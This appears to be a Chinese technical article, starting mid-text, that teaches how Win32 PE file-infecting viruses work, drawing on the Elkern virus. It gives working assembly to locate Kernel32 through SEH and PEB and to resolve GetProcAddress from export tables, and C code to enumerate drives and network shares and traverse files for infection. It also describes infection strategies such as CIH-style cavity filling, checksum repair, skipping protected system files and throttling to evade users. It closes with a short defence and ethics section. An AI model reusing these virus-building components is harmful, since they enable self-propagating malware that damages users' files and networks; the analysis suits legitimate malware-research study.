_start:
pushfd ;If some flags,especial DF,changed,some APIs can crash down!!!
pushad
_start_@1 equ $
;......
mov ebx,[esp+9*4] ;前面已经由pushfd和pushad压入了9个双字
and ebx,0ffe00000h ;该地址为Kernel32.dll模块下方的某个地址
;先减去0x100000确保该地址处于Kernel32.dll的下方
;向高地址搜索如果将来Windows的发行版本中Kernel32.dll
;大小和代码结构发生变化，该方法可能无效
ebx中现在已经是Kernel32.DLL基址之前某个地址了，后续代码可以向高地址搜索其基址。该方法有一个缺点，就是必须明确知道程序入口的堆栈指针值，或间接可计算出该值，对于那些在程序入口获取控制权的病毒代码而言，是可以的，但对于采用EPO技术的病毒而言，该方法则不适用。事实上还有另外一种更加通用的方法，我们知道在Win32程序执行过程中fs段寄存器的基址总是指向进程的TEB，TEB的第一个成员指向SEH链表，该链表每个节点都是一个EXCEPTION_REGISTRATION结构，该结构定义如下：
struct EXCEPTION_REGISTRATION{
struct EXCEPTION_REGISTRATION *prev;
void* handler;
};
在Windows下SEH链表最后一个成员的handler指向Kernel32.DLL中函数UnhandledExceptionFilter的起始地址，利用这一特性我们可以写出更通用的代码：
xor esi,esi
lods dword [fs:esi];取得SEH链表的头指针
@@:
inc eax ;是否是最后一个SEH节点，检查prev是否为0xFFFFFFFF
je @F
dec eax
xchg esi,eax
LODSD ;下一个SEH节点
jmp near @B
@@:
LODSD ;取得Kernel32.dll中UnhandledExceptionFilter的地址
在有的病毒直接以0x7FFDE000作为TEB的指针值，其原因在于在Windows 2003 SP1、Windows XP SP2以前的NT类系统上，该值是固定的，这样的确可以节省一两个字节。但是在Windows 2003 SP1、Windows XP SP2中，情况已经发生了变化，出于安全性的考虑，Windows系统开始动态映射TEB了，也就是说，指向TEB的指针值不再固定，因此这种硬编码的方法也就走到了尽头。此时可以按照前面的方法向低地址搜索判断直到找到Kernel32.dll的基址为止。Elkern中判断是否找到了Kernel32.dll基址的相关代码如下：
search_api_addr_@1:
add ebx,10000h
jz short search_api_addr_seh_restore
cmp word ptr [ebx],'ZM' ;是否是MZ标志
jnz short search_api_addr_@1
mov eax,[ebx+3ch]
add eax,ebx
cmp word ptr [eax],'EP' ;是否具有PE标志
jnz short search_api_addr_@1
;找到了kernel32.dll的基址
方法2：搜索PEB的相关结构获取Kernel32.DLL的基址
前述TEB偏移0x30处，亦即FS:[0x30]地址处保存着一个重要的指针，该指针指向PEB（进程环境块），PEB成员很多，这里并不介绍PEB的详细结构。我们只需要知道PEB结构的偏移0xC处保存着另外一个重要指针ldr，该指针指向PEB_LDR_DATA结构：
typedef struct _PEB_LDR_DATA
{
ULONG Length; // +0x00
BOOLEAN Initialized; // +0x04
PVOID SsHandle; // +0x08
LIST_ENTRY InLoadOrderModuleList; // +0x0c
LIST_ENTRY InMemoryOrderModuleList; // +0x14
LIST_ENTRY InInitializationOrderModuleList;// +0x1c
} PEB_LDR_DATA,*PPEB_LDR_DATA; // +0x24
该结构的后三个成员是指向LDR_MODULE链表结构中相应三条双向链表头的指针，分别是按照加载顺序、在内存中的地址顺序和初始化顺序排列的模块信息结构的指针。LDR_MODULE结构如下所示：
typedef struct _LDR_MODULE
{
LIST_ENTRY InLoadOrderModuleList; // +0x00
LIST_ENTRY InMemoryOrderModuleList; // +0x08
LIST_ENTRY InInitializationOrderModuleList; // +0x10
PVOID BaseAddress; // +0x18
PVOID EntryPoint; // +0x1c
ULONG SizeOfImage; // +0x20
UNICODE_STRING FullDllName; // +0x24
UNICODE_STRING BaseDllName; // +0x2c
ULONG Flags; // +0x34
SHORT LoadCount; // +0x38
SHORT TlsIndex; // +0x3a
LIST_ENTRY HashTableEntry; // +0x3c
ULONG TimeDateStamp; // +0x44
// +0x48
} LDR_MODULE, *PLDR_MODULE;
Peb->Ldr->InInitializationOrderModuleList指向按照初始化顺序排序的第一个LDR_MODULE节点的InInitializationOrderModuleList成员的指针，在WinNT平台（不包含Win9X）下，该链表头节点的LDR_MODULE结构包含的是NTDLL.DLL的相关信息，而链表的下一个节点所包含的就是Kernel32.dll相关的信息了，该节点LDR_MODULE结构中的BaseAddress不正是我们所苦苦寻找的吗。注意InInitializationOrderModuleList是LDR_MODULE的第3个成员，因此要获取BaseAddress的地址，只需将其指针加8再derefrence即可。因此下面的汇编代码即可获取Kernel32.DLL的基址：
mov eax, dword ptr fs:[30h] ;获取PEB基址
mov eax, dword ptr [eax+0ch] ;获取PEB_LDR_DATA结构指针
mov esi, dword ptr [eax+1ch]
;获取InInitializationOrderModuleList链表头第一个LDR_MODULE节点
InInitializationOrderModuleList成员的指针
lodsd ;获取双向链表当前节点后继的指针
mov ebx, dword ptr [eax+08h] ;取其基地址，该结构当前包含的是
;kernel32.dll相关的信息
该方法在所有的Windows NT（包括Windows 2003 SP1和Windows XP SP2）操作系统上都是有效的，唯一的缺憾是由于PEB结构不同，该方法在Win9X系统上无效。听起来可能比较费解，还是用一张图更加清晰一些：
图6 利用PEB搜索kernel32.dll基地址的过程
* 解析PE文件的导出函数表
PE文件的函数导出机制是进行模块间动态调用的重要机制，对于正常的程序，相关操作是由系统加载器在程序加载前自动完成的，对用户程序是透明的。但要想在病毒代码中实现函数地址的动态解析以取代加载器，那就有必要了解函数导出表的结构了。在图1中可以看到在PE头结构IMAGE_OPTIONAL_HEADER32结构中包含一个DataDirectory数组结构，该结构包含16个成员，每个成员都是一个IMAGE_DATA_DIRECTORY结构：
typedef struct _IMAGE_DATA_DIRECTORY {
DWORD VirtualAddress;
DWORD Size;
} IMAGE_DATA_DIRECTORY, *PIMAGE_DATA_DIRECTORY;
DataDirectory数组的每个结构都指向一个重要的数据结构，第一个成员指向导出函数表（索引0），第2个成员指向PE文件的引入函数表（索引1）。DataDirectory中的第一个成员指向导出函数表的IMAGE_EXPORT_DIRECTORY结构：
typedef struct _IMAGE_EXPORT_DIRECTORY {
DWORD Characteristics;
DWORD TimeDateStamp;
WORD MajorVersion;
WORD MinorVersion;
DWORD Name;
DWORD Base;
DWORD NumberOfFunctions;
DWORD NumberOfNames;
DWORD AddressOfFunctions; // RVA from base of image
DWORD AddressOfNames; // RVA from base of image
DWORD AddressOfNameOrdinals; // RVA from base of image
} IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;
AddressOfFunctions是一个双字数组，包含了所有导出函数的RVA，另外两个成员AddressOfNames也是一个双字数组，包含了指向导出函数名字的字符串的RVA，AddressOfNameOrdinals是一个字数组（16bit），和AddressOfNames数组是并行的，和AddressOfNames数组一起确定了相应引出函数的序号，该序号可直接用于索引AddressOfFunctions数组获取导出函数的地址。因此病毒搜索指定的API就包含了如下步骤：
a)获取NumberOfNames的值以及AddressOfNames、AddressOfNameOrdinals和AddressOfFunctions的数组的地址。
b)搜索AddressOfNames数组，按字符串对比，若找到相应的API，转d
c)若NumberOfNames名字尚未全部搜索完毕，转b继续搜索，若搜索完毕，则表明未找到进行错误处理，这一步通常可以省略，因为我们已经知道相应的DLL中肯定导出了相应的函数。
d）获取当前函数名字指针在AddressOfNames数组中的索引，在AddressOfNameOrdinals数组中取出以该值索引的函数序号，以该序号值作为AddressOfFunctions数组的索引，在AddressOfFunctions数组中取出导出函数的RVA值，加上基址就得到了运行时导出函数的地址。
看起来似乎比较罗嗦，实际上这是PE设计时为考虑灵活性而做出的牺牲。不过实现起来还是比较简单的，通常汇编代码编译后不到100字节。以下是在Kernel32搜索GetProcAddress的完整代码：
push esi
;esi=VA Kernel32.BASE
;edi=RVA K32.pehdr
mov ebp,esi
mov edi,[ebp+edi+peh.DataDirectory]
push edi esi
mov eax,[ebp+edi+peexc.AddressOfNames]
mov edx,[ebp+edi+peexc.AddressOfNameOrdinals]
call @F
db "GetProcAddress",0
@@:
pop edi
mov ecx,15
sub eax,4
next_:
add eax,4
add edi,ecx
sub edi,15
mov esi,[ebp+eax]
add esi,ebp
mov ecx,15
repz cmpsb ;进行字符串比较，判断是否为要查找的函数
jnz next_
pop esi edi
sub eax,[ebp+edi+peexc.AddressOfNames]
shr eax,1
add edx,ebp
movzx eax,word [edx+eax]
add esi,[ebp+edi+peexc.AddressOfFunctions]
add ebp,[esi+eax*4] ;ebp=Kernel32.GetProcAddress.addr
;use GetProcAddress and hModule to get other func
pop esi ;esi=kernel32 Base
在前面解析导出函数表获取API地址的时候，采用的是直接比较字符串的方法判断是不是找到了相应的API，其实还可以计算函数名字的hash，然后同预计算的hash进行比对，现代的PE病毒更多采用的hash的方法，其原因在于一般的函数名字长度都大于4字节，而用hash只要占用4个字节或2个字节，可以节省空间，此外还有抗病毒分析的作用，因为hash要比字符串名字费解得多。hash算法的设计只要能保证无冲突即可，可以用crc等成熟算法，也可以设计自己的简单算法。在Elkern中就使用了crc16算法。
* 文件搜索
文件搜索是病毒的重要功能模块之一，也是实现感染和传播的关键。现代Windows和各种移动介质的文件系统可能采用多种复杂格式，因此象一些Dos病毒一样试图直接存取文件系统（读写扇区）是不大现实的。通常利用Win32 API的FindFirstFile和FindNextFile来实当前目录下所有目录和文件的搜索，通过判断搜索到的文件属性，可区分是否为目录或可执行文件，对于可执行文件则根据预先设计好的感染策略进行感染；对于当前目录下的所有子目录以及特殊的..父目录，可以使用递归或非递归的方式利用上述两个API全部进行遍历，因此从某个驱动器或网络共享文件夹的任意一个子目录开始，都可以遍历当前驱动器或网络共享文件夹内的所有文件和目录。一般地，搜索文件从驱动器或共享文件夹的根目录开始，那么如何得到当前系统中存在的所有驱动器或所有的共享文件夹列表呢？对于前一个问题，我们知道Windows下可划分A:~Z:共26个逻辑盘符，因此可以从A:开始递增搜索所有的驱动器，使用Win32 API GetDriveType判断当前搜索的盘符是否存在，以及是否是固定硬盘、可移动存储介质、是否可写或是网络驱动器等。一般病毒只感染固定硬盘或网络驱动器。由于汇编语言在表述算法时显得过于冗长，因此算法部分使用C语言描述，当然将C算法转换成汇编语言是很简单的过程。
下面的代码enumdisk.cpp将显示A-Z各个驱动器的相关属性：
#include
#include
#define MAX_DRIVENAME_LENGTH 64
void __cdecl main(int argc,char *argv[])
{
char DriveName[MAX_DRIVENAME_LENGTH];
char *p;
unsigned int drv_attr;
p = DriveName;
strncpy(DriveName,"A:",MAX_DRIVENAME_LENGTH);
for(;*p<'Z';++*p) {
drv_attr = GetDriveType(p);
switch(drv_attr)
{
case DRIVE_UNKNOWN: // 未知类型
printf("drive %s type %s/n",p,"DRIVE_UNKNOWN");break;
case DRIVE_NO_ROOT_DIR: // 该驱动器不存在
printf("drive %s type %s/n",p,"DRIVE_NO_ROOT_DIR");break;
case DRIVE_REMOVABLE: // 可移动盘，软盘或U盘或移动硬盘等
printf("drive %s type %s/n",p,"DRIVE_REMOVABLE");break;
case DRIVE_FIXED: // 固定硬盘
printf("drive %s type %s/n",p,"DRIVE_FIXED");break;
case DRIVE_REMOTE: // 一般是映射网络驱动器
printf("drive %s type %s/n",p,"DRIVE_REMOTE");break;
case DRIVE_CDROM: // 光盘
printf("drive %s type %s/n",p,"DRIVE_CDROM");break;
case DRIVE_RAMDISK: // RAM DISK
printf("drive %s type %s/n",p,"DRIVE_RAMDISK");break;
}
}
}
与仅仅显示一条信息不同的是，病毒此时将调用文件枚举函数（如后面给出的enum_path函数）从当前根目录开始遍历DRIVE_FIXED的驱动器上的所有文件，根据预定义策略进行文件感染。
网络共享资源也是按树状组织的,非叶节点称为容器（container），对容器需要进一步搜索直到到达叶子节点为止，叶子节点才是共享资源的根路径。共享资源一般分成两种：共享打印设备和共享文件夹。对于网络共享文件的搜索，采用WNetOpenEnum和WNetEnumResource（由mpr.dll导出）进行递归枚举。其函数原型及参数含义请参阅MSDN，使用如下代码enumshare.cpp将显示所有的网络驱动器共享文件夹的路径：
#include
#include
#pragma comment(lib,"mpr.lib")
int enum_netshare(LPNETRESOURCE lpnr);
void __cdecl main(int argc,char *argv[])
{
enum_netshare(0);
}
int enum_netshare(LPNETRESOURCE lpnr)
{
DWORD r, rEnum,usage;
HANDLE hEnum;
DWORD cbBuffer = 16384;
DWORD cEntries = -1;
LPNETRESOURCE lpnrLocal; // NETRESOURCE数组结构的指针
DWORD i;
r = WNetOpenEnum(RESOURCE_GLOBALNET, // 范围:所有网络资源
RESOURCETYPE_DISK,// 类型:仅枚举可存储介质
RESOURCEUSAGE_ALL,// 使用状态:所有
lpnr, // 初次调用时为NULL
&hEnum); // 成功后返回的网络资源句柄
if (r != NO_ERROR) {
printf("WNetOpenEnum error..../n");
return FALSE;
}
lpnrLocal = (LPNETRESOURCE) malloc(cbBuffer);
if (lpnrLocal == NULL)
return FALSE;
do
{
ZeroMemory(lpnrLocal, cbBuffer);
rEnum = WNetEnumResource(hEnum,
&cEntries, // 返回尽可能多的结果
lpnrLocal, // LPNETRESOURCE
&cbBuffer); // buffer大小
if (rEnum == NO_ERROR) {
for(i = 0; i < cEntries; i++) {
usage = lpnrLocal[i].dwUsage;
if(usage & RESOURCEUSAGE_CONTAINER) {
if(!enum_netshare(&lpnrLocal[i]))
printf("Errors detected in enum process.../n");
}else{
// 这里病毒可调用遍历函数遍历该共享文件夹下的所有文件
// enum_path(lpnrLocal[i].lpRemoteName);
printf("find %s --> %s/n",lpnrLocal[i].lpLocalName,
lpnrLocal[i].lpRemoteName);
}
}
}else if (rEnum != ERROR_NO_MORE_ITEMS) {
printf("WNetEnumResource error.../n");
break;
}
}while(rEnum != ERROR_NO_MORE_ITEMS);
free((void*)lpnrLocal);
r = WNetCloseEnum(hEnum);
if(r != NO_ERROR) {
printf("WNetCloseEnum error..../n");
return FALSE;
}
return TRUE;
}
遍历开始时WNetOpenEnum第4形参为0，在发现共享容器进行递归调用时候，该参数将为共享容器的NETRESOURCE结构指针。从NETRESOURCE结构中可以找到我们感兴趣的lpRemoteName，该指针不为0则表示是有效的共享容器或共享文件夹。
typedef struct _NETRESOURCE {
DWORD dwScope;
DWORD dwType;
DWORD dwDisplayType;
DWORD dwUsage;
LPTSTR lpLocalName;
LPTSTR lpRemoteName;
LPTSTR lpComment;
LPTSTR lpProvider;
} NETRESOURCE;
在解决了起始目录的问题之后，就可以从这些起始目录开始使用FindFirstFile和FindNextFile开始遍历其下以及其子目录下的所有文件和目录了，遍历方法可采用深度优先或广度优先搜索算法，较常用的还是深度优先算法。具体实现方式可采用递归搜索或非递归搜索两种实现方式。递归搜索需要占用栈空间，有可能造成栈空间耗竭而产生异常，不过在现实应用中这种情况很少出现，而非递归搜索则不存在此问题，但代码实现略复杂。在现实应用中，应用最多的还是递归遍历搜索。搜索时，可指定FindFirstFile的第一形参为*.*以搜索所有文件，根据搜索结果WIN32_FIND_DATA结构的dwFileAttributes成员判断是否为目录，若为目录则需要继续遍历该子目录，根据WIN32_FIND_DATA的cFileName中的文件名成员判断是否具有要感染的文件后缀以采取修改感染动作，以下代码实现了递归搜索某个目录及其下所有子目录的功能：
void enum_path(char *cpath){
WIN32_FIND_DATA wfd;
HANDLE hfd;
char cdir[MAX_PATH];
char subdir[MAX_PATH];
int r;
GetCurrentDirectory(MAX_PATH,cdir);
SetCurrentDirectory(cpath);
hfd = FindFirstFile("*.*",&wfd);
if(hfd!=INVALID_HANDLE_VALUE) {
do{
if(wfd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {
if(wfd.cFileName[0] != '.') {
//合成完整路径名
sprintf(subdir,"%s//%s",cpath,wfd.cFileName);
//递归枚举子目录
enum_path(subdir);
}
}else{
printf("%s//%s/n",cpath,wfd.cFileName);
// 病毒可根据后缀名判断是否要感染相应的文件
}
}while(r=FindNextFile(hfd,&wfd),r!=0);
}
SetCurrentDirectory(cdir);
}
短短20多行C代码就实现了文件遍历的功能，Win32 API的强大功能不仅为开发者提供了便利，同时也为病毒敞开了方便之门。用汇编实现则稍微复杂一些，感兴趣的读者可参阅Elkern中的enum_path部分，原理是一样的，限于篇幅这里不再给出相应的汇编代码。
非递归搜索不使用堆栈存储相关的信息，而使用显式分配的链表或栈等结构存储相关的信息，应用一个迭代循环完成递归遍历同样的功能，下面是使用链表以栈方式处理子目录列表的一个简单实现：
void nr_enum_path(char *cpath){
list dir_list;
string cdir,subdir;
WIN32_FIND_DATA wfd;
HANDLE hfd;
int r;
dir_list.push_back(string(cpath));
while(dir_list.size()) {
cdir = dir_list.back();
dir_list.pop_back();
SetCurrentDirectory(cdir.c_str());
hfd = FindFirstFile("*.*",&wfd);
if(hfd!=INVALID_HANDLE_VALUE) {
do{
if(wfd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {
if(wfd.cFileName[0] != '.') {
//合成完整路径名
subdir=cdir+"//"+wfd.cFileName;
cout<<"push subdir: "< //递归枚举子目录
dir_list.push_back(string(subdir));
}
}else{
printf("%s//%s/n",cpath,wfd.cFileName);
// 病毒可根据后缀名判断是否要感染相应的文件
}
}while(r=FindNextFile(hfd,&wfd),r!=0);
}
}//end while
}
在以汇编语言实现时，需要自己管理链表以及分配和释放相应的结构，因此较为烦琐，代码量也稍大，因此病毒多采用递归的方式进行搜索。值得注意的是搜索深层次的目录是很费时的，因此大部分病毒为避免CPU占用率过高，搜索一定数量的文件之后，都会调用Sleep休眠一会，以避免被敏感的用户发觉。文件搜索和感染模块通常是以单独的线程运行的，在病毒获得控制权后，创建相应的搜索和感染线程，而将主现成的控制权交给原程序。
* PE文件的修改和感染策略
既然已经能够搜索磁盘及网络共享文件中的所有文件，要实现寄生，那么自然下一步就是对搜索到的PE文件进行感染了。感染PE的很重要的一个考虑就是将病毒代码写入到PE文件的哪个位置。读写文件一般利用Win32 API CreateFile、CreateFileMapping、MapViewOfFile等API以内存映射文件的方式进行，这样可以避免自己管理缓冲的麻烦，因而为较多病毒所采用。为了能够读写具有只读属性的文件，病毒在操作前首先利用GetFileAttributes获取其属性并保存，然后用SetFileAttributes将文件的属性修改为可写，在感染完毕后再恢复其属性值。
一般说来，有如下几种感染PE文件的方案供选择：
a)添加一个新的节。将病毒代码写入到新的节中，相应修改节表，文件头中文件大小等属性值。由于在PE尾部增加了一个节，因此较容易被用户察觉。在某些情况下，由于原PE头部没有足够的空间存放新增节的节表信息，因此还要对其它数据进行搬移等操作。鉴于上述问题，PE病毒使用该方法的并不多。
b)附加在最后一个节上。修改最后一个节节表的大小和属性以及文件头中文件大小等属性值。由于越来越多的杀毒软件采用了一种尾部扫描的方式，因此很多病毒还要在病毒代码之后附加随机数据以逃避该种扫描。现代PE病毒大量使用该种方式。
c)写入到PE文件头部未用空间各个节所保留的空隙之中。PE头部大小一般为1024字节，有5-6个节的普通PE文件实际被占用部分一般仅为600字节左右，尚有400多个字节的剩余空间可以利用。PE文件各个节之间一般都是按照512字节对齐的，但节中的实际数据常常未完全使用全部的512字节，PE文件的对齐设计本来是出于效率的考虑，但其留下的空隙却给病毒留下了栖身之地。这种感染方式感染后原PE文件的总长度可能并不会增加，因此自CIH病毒首次使用该技术以来，备受病毒作者的青睐。
d)覆盖某些非常用数据。如一般exe文件的重定位表，由于exe一般不需要重定位，因此可以覆盖重定位数据而不会造成问题，为保险起见可将文件头中指示重定位项的DataDirectory数组中的相应项清空，这种方式一般也不会造成被感染文件长度的增加。因此很多病毒也广泛使用该种方法。
e)压缩某些数据或代码以节约出存放病毒代码的空间，然后将病毒代码写入这些空间，在程序代码运行前病毒首先解压缩相应的数据或代码，然后再将控制权交给原程序。该种方式一般不会增加被感染文件的大小，但需考虑的因素较多，实现起来难度也比较大。用的还不多。
不论何种方式，都涉及到对PE头部相关信息以及节表的相关操作，我们首先研究一下PE的修改，即如何在添加了病毒代码后使得PE文件仍然是合法的PE文件，仍然能够被系统加载器加载执行。
PE文件的每个节的属性都是由节表中的一个表项描述的，节表紧跟在IMAGE_NT_HEADERS后面，因此从文件偏移0x3C处的双字找到IMAGE_NT_HEADERS的起始偏移，再加上IMAGE_NT_HEADERS的大小（248字节）就定位了节表的起始位置，每个表项是一个IMAGE_SECTION_HEADER结构：
typedef struct _IMAGE_SECTION_HEADER {
BYTE Name[IMAGE_SIZEOF_SHORT_NAME]; // 节的名字
union {
DWORD PhysicalAddress;
DWORD VirtualSize; // 字节计算的实际大小
} Misc;
DWORD VirtualAddress; // 节的起始虚拟地址
DWORD SizeOfRawData; // 按照文件头FileAlignment
// 对齐后的大小
DWORD PointerToRawData; // 文件中指向该节起始的偏移
DWORD PointerToRelocations;
DWORD PointerToLinenumbers;
WORD NumberOfRelocations;
WORD NumberOfLinenumbers;
DWORD Characteristics; // 节的属性
} IMAGE_SECTION_HEADER, *PIMAGE_SECTION_HEADER;
节表项的数目由IMAGE_NT_HEADERS的NumberOfSections成员确定。由节表中的起始虚拟地址以及该节在文件中的位置就可以换算加载后内存虚拟地址和文件中地址之间的映射关系。添加一个节则需要修改该节表数组，在其中增加一个表项，然后相应修改NumberOfSections的数目。值得注意的是，某些PE文件现存节表后面可能紧跟着其它数据，如bound import数据，这时就不能简单地增加一个节表项，需要先移动这些数据并修改相应的结构后才能增加节，否则PE文件将不能正常执行。由于很多病毒是自我修改的，因此节属性通常设置为E000XXXX，表示该节可读写执行，否则就需要在病毒的开始处调用VirtualProtect之类的API动态修改内存页的属性了。由上述节表的定义还可以看到每个节的实际数据都是按照文件头中FileAlignment对齐的，这个大小一般是512，因此每个节可能有不超过512字节的未用空间（SizeOfRawData- VirtualSize），这恰好给病毒以可乘之机，著名的CIH病毒首先采用了这种技术，不过问题是每个节的空隙大小是不定的，因此就需要将病毒代码分成若干部分存放，运行时再通过一段代码组合起来，优点是如果病毒代码较小则无需增加PE的大小，隐蔽性较强。如果所有节的未用空间仍不足以容纳病毒代码，则可新增节或附加到最后一个节上。附加到最后一个节上是比较简单的，只要修改节表中最后一个节的VirtualSize以及按FileAlignment对齐后的SizeOfRawData成员即可。当然在上述所有修改节的情况中，如果改变了文件的大小，都要修正文件头中SizeOfImage这个值的大小，该值是所有节和头按照SectionAlignment对齐后的大小。
这里有两个问题值得注意，第一问题就是对WFP(Windows File Protection)文件的处理，WFP机制是从Windows 2000开始新增的保护系统文件的机制，若系统发现重要的系统文件被改变，则弹出一个对话框警告用户该文件已被替换。当然有多种方法绕过WFP保护，但对病毒而言，更简单的方法就是不感染在WFP列表中的系统文件。可使用sfc.dll的导出函数SfcIsFileProtected判断一个文件是否在该列表中，该API的第一个参数必须为0，第二个参数是要判断的文件名，若在列表中返回非0值，否则返回0。
另外一个问题就是关于PE文件的校验。大部分PE文件都不使用文件头中的CheckSum域的校验和值，不过有些PE文件，如关键的系统服务程序文件以及驱动程序文件则该值必须正确，否则系统加载器将拒绝加载。PE头部的CheckSum可以使用Imagehlp.dll的导出函数CheckSumMappedFile计算，也可以在将该域清0后按照如下简单的等价算法计算：
如果PE文件大小是奇数字节，则以0补足，使之按偶数字节。将PE文件头的CheckSum域清0，然后以两个字节为单位进行adc运算，最后和将该累加和同文件实际大小进行adc运算即得到校验和的值。下面的cal_checksum过程假设esi已经指向PE文件头，文件头部CheckSum域已经被清0，CF标志位已经被复位：
;调用示例：
;clc
;push pe_fileseize
;call cal_checksum
cal_checksum:
adc bp,word [esi] ;初始esi指向文件头，ebx中保存的是文件大小
inc esi
inc esi
loop cal_checksum
mov ebx,[esp+4]
adc ebp,ebx ;ebp中存放的就是PE的校验和
ret 4
除了PE头部的校验和之外，很多程序自身也有校验模块，如Winzip和Winrar的自解压文件，如果被感染，将造成无法正常解压缩。因此对于类似的PE文件，病毒应尽量不予感染。
Elkern中感染文件修改文件相关的代码在infect.asm中，该病毒首先尽可能地利用PE的头部和节的间隙存储自身代码，若所有间隙仍不足以存放病毒代码，则附加到最后一个节上，限于篇幅相关代码从略，感兴趣的读者请自行参阅。
其实，完成了上述功能的代码片断就已经是一个简单的病毒了，不管是用汇编语言、C语言或是python语言编写的。但这些远不是病毒技术的全部。在病毒和反病毒对抗的数十年中，伴随着反病毒技术的进步，病毒技术也在不断进步着，Win32下的内存驻留感染技术、抗分析技术、EPO技术、多态技术、变形技术等限于篇幅都还没有介绍，无论如何，那都是下篇的内容了。
* 思考与防范
病毒技术源自编程实践，但又无所不用其极，包含了相当多的编程技巧，如果我们善于借鉴，其中的很多技巧都可用于解决常见的编程难题。此外知己知彼，才能在病毒出现时冷静沉着应对，分析其机制，找到更好的解决之道。作为用户，了解病毒的机制对于选择合适的反病毒产品和方案也是非常有帮助的。
防范病毒，从用户角度除了使用杀毒软件定期查毒之外，谨慎地下载或执行未知的程序，提高警觉也是非常重要的。
病毒已经不再单纯是一种展示高超编程技巧的手段了，而被越来越多的领域赋予了其它的如经济、有时甚至是政治的含义。防范病毒，作为负责的程序员，应首先不编写病毒、传播病毒，一切从我做起。
* 参考文献
[1] The PE file format ,LUEVELSMEYER
[2] Microsoft Portable Executable and Common Object File Format Specification ,Microsoft Corp.
[3] An In-Depth Look into the Win32 Portable Executable File Format , Matt Pietrek
[4] 29A issue7
作者简介
温玉杰，男，现从事网络安全工作。主要研究领域为恶意代码、逆向工程、人工智能、编译理论、底层安全技术等。曾与罗云彬合译《intel汇编语言程序设计》，与人合著《软件加密技术内幕》等。
扫一扫
2450
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
